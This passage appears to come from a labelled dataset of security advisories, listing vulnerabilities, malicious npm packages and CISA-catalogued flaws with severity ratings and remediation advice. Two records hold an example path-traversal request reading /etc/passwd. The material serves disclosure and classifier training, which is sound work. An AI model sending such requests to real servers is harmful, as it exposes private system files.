on macOS systems. Additionally, SNI validation is also not enabled when the CA has been \"overridden\". TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host's trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker's data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user's private keys to authenticate against the MQTT broker. The `aws_tls_ctx_options_override_default_trust_store_*` function within the aws-c-io submodule has been updated to address this behavior. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.7.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.14.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.6.0 on macOS. Amazon Web Services AWS-C-IO 0.10.7 on macOS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "e390b1c843b14c832945", "text": "jackson-databind polymorphic typing issue\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 prior to 2.9.10.1, 2.8.11.5, and 2.6.7.3. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the p6spy (3.8.6) jar in the classpath, and an attacker can find an RMI service endpoint to access, it is possible to make the service execute a malicious payload. This issue exists because of com.p6spy.engine.spy.P6DataSource mishandling.", "text_raw": "jackson-databind polymorphic typing issue\n\n[Severity: CRITICAL]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 prior to 2.9.10.1, 2.8.11.5, and 2.6.7.3. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the p6spy (3.8.6) jar in the classpath, and an attacker can find an RMI service endpoint to access, it is possible to make the service execute a malicious payload. This issue exists because of com.p6spy.engine.spy.P6DataSource mishandling.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-13", "split": "train"}
-{"id": "b17b751c34329500d231", "text": "Partial read is incorrect in molecule\n\n### Impact\n\nAnyone who uses `total_size(..)` function to partial read the length of any `FixVec` will get an incorrect result, due to an incorrect implementation. This has been resolved in the 0.7.2 release.\n\n### Workarounds\n\nIf you already have the whole `FixVec` `A`, you can use `A.as_slice().len()` to get the total size of the `FixVec`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- [Open an issue to ask use directly](https://github.com/nervosnetwork/molecule/issues/new).", "text_raw": "Partial read is incorrect in molecule\n\n[Severity: MEDIUM]\n\n### Impact\n\nAnyone who uses `total_size(..)` function to partial read the length of any `FixVec` will get an incorrect result, due to an incorrect implementation. This has been resolved in the 0.7.2 release.\n\n### Workarounds\n\nIf you already have the whole `FixVec` `A`, you can use `A.as_slice().len()` to get the total size of the `FixVec`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- [Open an issue to ask use directly](https://github.com/nervosnetwork/molecule/issues/new).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5b4dfc5a160ed3cb5d56", "text": "SaltStack Salt Authentication Bypass Vulnerability\n\nAffected: SaltStack Salt\n\nSaltStack Salt contains an authentication bypass vulnerability in the salt-master process ClearFuncs due to improperly validating method calls. The vulnerability allows a remote user to access some methods without authentication, which can be used to retrieve user tokens from the salt master and/or run commands on salt minions. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SaltStack Salt Authentication Bypass Vulnerability\n\nAffected: SaltStack Salt\n\nSaltStack Salt contains an authentication bypass vulnerability in the salt-master process ClearFuncs due to improperly validating method calls. The vulnerability allows a remote user to access some methods without authentication, which can be used to retrieve user tokens from the salt master and/or run commands on salt minions. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "83fa986f027d689e6b91", "text": "Reflected cross-site scripting in development mode handler in Vaadin 14, 15-19\n\nURL encoding error in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.\n\n- https://vaadin.com/security/cve-2021-33604", "text_raw": "Reflected cross-site scripting in development mode handler in Vaadin 14, 15-19\n\n[Severity: LOW]\n\nURL encoding error in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.\n\n- https://vaadin.com/security/cve-2021-33604", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "2da3edd5f72855a99916", "text": "Directory Traversal in serveryztyzt\n\nAffected versions of `serveryztyzt` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serveryztyzt\n\n[Severity: HIGH]\n\nAffected versions of `serveryztyzt` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "1b7bc74a2e47baadeecc", "text": "Malicious Package in commmander\n\nAll versions of `commmander` contain malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "text_raw": "Malicious Package in commmander\n\n[Severity: CRITICAL]\n\nAll versions of `commmander` contain malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "39e5bba861d3c96d5769", "text": "The disqualify lead action may be executed without CSRF token check\n\n### Summary\nThe attacker is able to disqualify any Lead with a Cross-Site Request Forgery (CSRF) attack.\n\n### Workarounds\nThere are no workarounds that address this vulnerability.", "text_raw": "The disqualify lead action may be executed without CSRF token check\n\n[Severity: MEDIUM]\n\n### Summary\nThe attacker is able to disqualify any Lead with a Cross-Site Request Forgery (CSRF) attack.\n\n### Workarounds\nThere are no workarounds that address this vulnerability.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "d5607b8ae41f78aacea9", "text": "Apache CXF Fediz ships with a number of container-specific plugins to enable WS-Federation for applications. A CSRF (Cross Style Request Forgery) style vulnerability has been found in the Spring 2, Spring 3 and Spring 4 plugins in versions before 1.4.3 and 1.3.3. The vulnerability can result in a security context that is set up using a malicious client's roles for the given enduser.", "text_raw": "Moderate severity vulnerability that affects org.apache.cxf.fediz:fediz-spring, org.apache.cxf.fediz:fediz-spring2, and org.apache.cxf.fediz:fediz-spring3\n\n[Severity: MEDIUM]\n\nApache CXF Fediz ships with a number of container-specific plugins to enable WS-Federation for applications. A CSRF (Cross Style Request Forgery) style vulnerability has been found in the Spring 2, Spring 3 and Spring 4 plugins in versions before 1.4.3 and 1.3.3. The vulnerability can result in a security context that is set up using a malicious client's roles for the given enduser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "a832d72e8585185761ec", "text": "Malicious Package in axios-http\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in axios-http\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ff22ff9ca29ceee3f3de", "text": "PyCA Cryptography symmetrically encrypting large values can lead to integer overflow\n\ncryptography is a package designed to expose cryptographic primitives and recipes to Python developers. When certain sequences of `update()` calls with large values (multiple GBs) for symetric encryption or decryption occur, it's possible for an integer overflow to happen, leading to mishandling of buffers. This is patched in version 3.3.2 and newer.", "text_raw": "PyCA Cryptography symmetrically encrypting large values can lead to integer overflow\n\n[Severity: HIGH]\n\ncryptography is a package designed to expose cryptographic primitives and recipes to Python developers. When certain sequences of `update()` calls with large values (multiple GBs) for symetric encryption or decryption occur, it's possible for an integer overflow to happen, leading to mishandling of buffers. This is patched in version 3.3.2 and newer.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-10", "split": "train"}
-{"id": "2c4d7e436d6ad655700b", "text": "Remote code execution via vulnerable Symphony dependecy injection\n\nA remote code execution vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. Dependency injection through Symphony framework allows service identifiers to be derived from user controlled data, which can lead to remote code execution.\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.", "text_raw": "Remote code execution via vulnerable Symphony dependecy injection\n\n[Severity: CRITICAL]\n\nA remote code execution vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. Dependency injection through Symphony framework allows service identifiers to be derived from user controlled data, which can lead to remote code execution.\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "9b7249b875455a406487", "text": "Improper Restriction of XML External Entity Reference in Quokka\n\nXML External Entities (XXE) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the component 'quokka/utils/atom.py'.", "text_raw": "Improper Restriction of XML External Entity Reference in Quokka\n\n[Severity: CRITICAL]\n\nXML External Entities (XXE) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the component 'quokka/utils/atom.py'.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "8c44202bb11015bcb5fb", "text": "Malicious Package in fs-extar\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in fs-extar\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "8ccc27420ad0e0bfd0e1", "text": "Denial of service in ASP.NET Core\n\nA denial of service vulnerability exists when OData Library improperly handles web requests, aka \"OData Denial of Service Vulnerability.\" This affects Microsoft.Data.OData.", "text_raw": "Denial of service in ASP.NET Core\n\n[Severity: HIGH]\n\nA denial of service vulnerability exists when OData Library improperly handles web requests, aka \"OData Denial of Service Vulnerability.\" This affects Microsoft.Data.OData.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "9916b43c635b8926a7b0", "text": "Data races in cache\n\nAn issue was discovered in the cache crate through 2020-11-24 for Rust. \nAffected versions of this crate unconditionally implement Send/Sync for `Cache<K>`.\nThis allows users to insert `K` that is not Send or not Sync.\n\nThis allows users to create data races by using non-Send types like `Arc<Cell<T>>` or `Rc<T>` as `K` in `Cache<K>`. It is also possible to create data races by using types like `Cell<T>` or `RefCell<T>` (types that are `Send` but not `Sync`).\nSuch data races can lead to memory corruption.", "text_raw": "Data races in cache\n\n[Severity: HIGH]\n\nAn issue was discovered in the cache crate through 2020-11-24 for Rust. \nAffected versions of this crate unconditionally implement Send/Sync for `Cache<K>`.\nThis allows users to insert `K` that is not Send or not Sync.\n\nThis allows users to create data races by using non-Send types like `Arc<Cell<T>>` or `Rc<T>` as `K` in `Cache<K>`. It is also possible to create data races by using types like `Cell<T>` or `RefCell<T>` (types that are `Send` but not `Sync`).\nSuch data races can lead to memory corruption.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9668d7f8261537b5ef48", "text": "Improper Restriction of Rendered UI Layers or Frames in Apache nifif\n\nThe X-Frame-Options headers were applied inconsistently on some HTTP responses, resulting in duplicate or missing security headers. Some browsers would interpret these results incorrectly, allowing clickjacking attacks. Mitigation: The fix to consistently apply the security headers was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "text_raw": "Improper Restriction of Rendered UI Layers or Frames in Apache nifif\n\n[Severity: MEDIUM]\n\nThe X-Frame-Options headers were applied inconsistently on some HTTP responses, resulting in duplicate or missing security headers. Some browsers would interpret these results incorrectly, allowing clickjacking attacks. Mitigation: The fix to consistently apply the security headers was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "3f91b33ca734525fd263", "text": "Use after free in actix-utils\n\nAn issue was discovered in the actix-utils crate before 2.0.0 for Rust. The Cell implementation allows obtaining more than one mutable reference to the same data.", "text_raw": "Use after free in actix-utils\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the actix-utils crate before 2.0.0 for Rust. The Cell implementation allows obtaining more than one mutable reference to the same data.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f980f9d9cc6d3ae2bdcc", "text": "SQL injection in Tortoise ORM\n\n### Impact\nVarious forms of SQL injection has been found, for MySQL and when filtering or doing mass-updates on char/text fields.\nSQLite & PostgreSQL was only affected when filtering with ``contains``, ``starts_with`` or ``ends_with`` filters (and their case-insensitive counterparts)\n\n### Patches\nPlease upgrade to 0.15.23+ or 0.16.6+\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Github](https://github.com/tortoise/tortoise-orm/issues)\n* Chat to us on [Gitter](https://gitter.im/tortoise/community)", "text_raw": "SQL injection in Tortoise ORM\n\n[Severity: MEDIUM]\n\n### Impact\nVarious forms of SQL injection has been found, for MySQL and when filtering or doing mass-updates on char/text fields.\nSQLite & PostgreSQL was only affected when filtering with ``contains``, ``starts_with`` or ``ends_with`` filters (and their case-insensitive counterparts)\n\n\n### Patches\nPlease upgrade to 0.15.23+ or 0.16.6+\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Github](https://github.com/tortoise/tortoise-orm/issues)\n* Chat to us on [Gitter](https://gitter.im/tortoise/community)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-20", "split": "train"}
-{"id": "29d8908f200de67c078e", "text": "Regular Expression Denial of Service in dat.gui\n\nAll versions of package dat.gui are vulnerable to Regular Expression Denial of Service (ReDoS) via specifically crafted rgb and rgba values.", "text_raw": "Regular Expression Denial of Service in dat.gui\n\n[Severity: HIGH]\n\nAll versions of package dat.gui are vulnerable to Regular Expression Denial of Service (ReDoS) via specifically crafted rgb and rgba values.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "302c034b878215f32e9e", "text": "Feedgen Vulnerable to XML Denial of Service Attacks\n\n### Impact\n\nThe *feedgen* library allows supplying XML as content for some of the available fields. This XML will be parsed and integrated into the existing XML tree. During this process, feedgen is vulnerable to [XML Denial of Service Attacks](https://docs.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses) (e.g. XML Bomb).\n\nThis becomes a concern in particular if feedgen is used to include content from untrused sources and if XML (including XHTML) is directly included instead of providing plain tex content only.\n\n### Patches\n\nThis problem has been fixed in feedgen 0.9.0 which disallows XML entity expansion and external resources.\n\n### Workarounds\n\nUpdating is strongly recommended and should not be problematic. Nevertheless, as a workaround, avoid providing XML directly to feedgen or ensure that no entity expansion is part of the XML.\n\n### References\n\n- [Security Briefs - XML Denial of Service Attacks and Defenses](https://docs.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses)\n- [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack#cite_note-2)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Open an issue in [lkiesow/python-feedgen](https://github.com/lkiesow/python-feedgen/issues)\n- Send an email to security@lkiesow.de", "text_raw": "Feedgen Vulnerable to XML Denial of Service Attacks\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe *feedgen* library allows supplying XML as content for some of the available fields. This XML will be parsed and integrated into the existing XML tree. During this process, feedgen is vulnerable to [XML Denial of Service Attacks](https://docs.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses) (e.g. XML Bomb).\n\nThis becomes a concern in particular if feedgen is used to include content from untrused sources and if XML (including XHTML) is directly included instead of providing plain tex content only.\n\n### Patches\n\nThis problem has been fixed in feedgen 0.9.0 which disallows XML entity expansion and external resources.\n\n### Workarounds\n\nUpdating is strongly recommended and should not be problematic. Nevertheless, as a workaround, avoid providing XML directly to feedgen or ensure that no entity expansion is part of the XML. \n\n### References\n\n- [Security Briefs - XML Denial of Service Attacks and Defenses](https://docs.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses)\n- [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack#cite_note-2)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Open an issue in [lkiesow/python-feedgen](https://github.com/lkiesow/python-feedgen/issues)\n- Send an email to security@lkiesow.de", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-28", "split": "train"}
-{"id": "fd02c3be593e653ad8d4", "text": "Insecure Defaults Allow MITM Over TLS in engine.io-client\n\nAffected versions of `engine.io-client` do not verify certificates by default, and as such may be vulnerable to Man-in-the-Middle attacks.\n\nThe vulnerability is related to the way that node.js handles the `rejectUnauthorized` setting. If the value is something that evaluates to false, such as undefined or null, certificate verification will be disabled.\n\n## Recommendation\n\nUpdate to version 1.6.9 or later.\n\nIf you are unable to upgrade, ensure all calls to socket.io to have a `rejectedUnauthorized: true` flag.", "text_raw": "Insecure Defaults Allow MITM Over TLS in engine.io-client\n\n[Severity: MEDIUM]\n\nAffected versions of `engine.io-client` do not verify certificates by default, and as such may be vulnerable to Man-in-the-Middle attacks.\n\nThe vulnerability is related to the way that node.js handles the `rejectUnauthorized` setting. If the value is something that evaluates to false, such as undefined or null, certificate verification will be disabled. \n\n\n\n## Recommendation\n\nUpdate to version 1.6.9 or later.\n\nIf you are unable to upgrade, ensure all calls to socket.io to have a `rejectedUnauthorized: true` flag.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "dc9a5302751218180f6e", "text": "Code injection in keycloak\n\nA flaw was found in keycloak. The new account console in keycloak can allow malicious code to be executed using the referrer URL. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "text_raw": "Code injection in keycloak\n\n[Severity: HIGH]\n\nA flaw was found in keycloak. The new account console in keycloak can allow malicious code to be executed using the referrer URL. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "77fba56d2c90725587db", "text": "Path Traversal in Spring Cloud Config\n\nSpring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.", "text_raw": "Path Traversal in Spring Cloud Config\n\n[Severity: MEDIUM]\n\nSpring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-23", "split": "train"}
-{"id": "fb9010b782bfddc91492", "text": "Directory Traversal in datachannel-client\n\nAffected versions of `datachannel-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in datachannel-client\n\n[Severity: HIGH]\n\nAffected versions of `datachannel-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "bf2b2e9714a80b0d6d76", "text": "SaltStack Salt Shell Injection Vulnerability\n\nAffected: SaltStack Salt\n\nSaltStack Salt allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt API using the SSH client. This vulnerability affects any users running the Salt API.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SaltStack Salt Shell Injection Vulnerability\n\nAffected: SaltStack Salt\n\nSaltStack Salt allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt API using the SSH client. This vulnerability affects any users running the Salt API.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ec2aadb29424cf518656", "text": "Denial of Service in @commercial/subtext\n\nVersions of `@commercial/subtext` prior to 5.1.1 are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 5.1.1 or later.", "text_raw": "Denial of Service in @commercial/subtext\n\n[Severity: HIGH]\n\nVersions of `@commercial/subtext` prior to 5.1.1 are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 5.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "43cf6884239b83cb1f74", "text": "Unauthorized File Access in harp\n\nAll versions of `harp` are vulnerable to Unauthorized File Access. If a symlink in the project's base directory points to a file outside of the directory, the file is served. This could allow an attacker to access sensitive files on the server.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Unauthorized File Access in harp\n\n[Severity: MEDIUM]\n\nAll versions of `harp` are vulnerable to Unauthorized File Access. If a symlink in the project's base directory points to a file outside of the directory, the file is served. This could allow an attacker to access sensitive files on the server.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "97dcc4172c407cf74823", "text": "Malicious Package in colne\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in colne\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "71da80576726ab52e580", "text": "Cobbler before 3.3.0 allows authorization bypass for modification of settings.", "text_raw": "Cobbler before 3.3.0 allows authorization bypass for modification of settings.\n\n[Severity: HIGH]", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "dab70a9edfc53353527a", "text": "Malicious Package in js-cha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-cha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5dfcf611fa6f6ca1caa0", "text": "Server secret was included in static assets and served to clients\n\n### Impact\nServer JWT signing secret was included in static assets and served to clients.\n\n### Background\nCommit 8d11640b imported `config.js` to client (frontend) components to get `disableUsersAndAuth` configuration variable. Subsequently contents of `config.js` are compiled into static assets and served to users. Unfortunately `config.js` also includes `secret`.\n\nIntruders can use `secret` to sign authentication tokens themselves to bypass builtin access control of Flood.\n\n### Patches\nCommit 042cb4ce removed imports of `config.js` from client (frontend) components. Additionally an eslint rule was added to prevent config.js from being imported to client (frontend) components.\n\nCommit 103f53c8 provided a general mitigation to this kind of problem by searching static assets to ensure `secret` is not included before starting server (backend).\n\n### Workarounds\nUsers shall upgrade if they use Flood's builtin authentication system.\n\nWhile maintainers will do their best to support it, Flood cannot guarantee its in-house access control system can stand against determined attackers in high-stake environments.\n\n> Use `HTTP Basic Auth` or other battle-hardened authentication methods instead of Flood's in-house one. You can use `disableUsersAndAuth` to avoid duplicate authentication.\n\nUsers are advised to check out the [wiki](https://github.com/jesec/flood/wiki) for more information on security precautions.\n\n### References\n[Wiki - Security precautions](https://github.com/jesec/flood/wiki/Security-precautions)\n\n[Introduction to JSON Web Tokens](https://jwt.io/introduction/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [issue tracker](https://github.com/jesec/flood/issues)\n* Email us at [jc@linux.com](mailto:jc@linux.com)", "text_raw": "Server secret was included in static assets and served to clients\n\n[Severity: CRITICAL]\n\n### Impact\nServer JWT signing secret was included in static assets and served to clients.\n\nThis ALLOWS Flood's builtin authentication to be bypassed. Given Flood is granted access to rTorrent's SCGI interface (which is unprotected and ALLOWS arbitrary code execution) and usually wide-ranging privileges to files, along with Flood's lack of security controls against authenticated users, the severity of this vulnerability is **CRITICAL**. \n\n### Background\nCommit 8d11640b imported `config.js` to client (frontend) components to get `disableUsersAndAuth` configuration variable. Subsequently contents of `config.js` are compiled into static assets and served to users. Unfortunately `config.js` also includes `secret`.\n\nIntruders can use `secret` to sign authentication tokens themselves to bypass builtin access control of Flood.\n\n### Patches\nCommit 042cb4ce removed imports of `config.js` from client (frontend) components. Additionally an eslint rule was added to prevent config.js from being imported to client (frontend) components.\n\nCommit 103f53c8 provided a general mitigation to this kind of problem by searching static assets to ensure `secret` is not included before starting server (backend). \n\n### Workarounds\nUsers shall upgrade if they use Flood's builtin authentication system.\n\nWhile 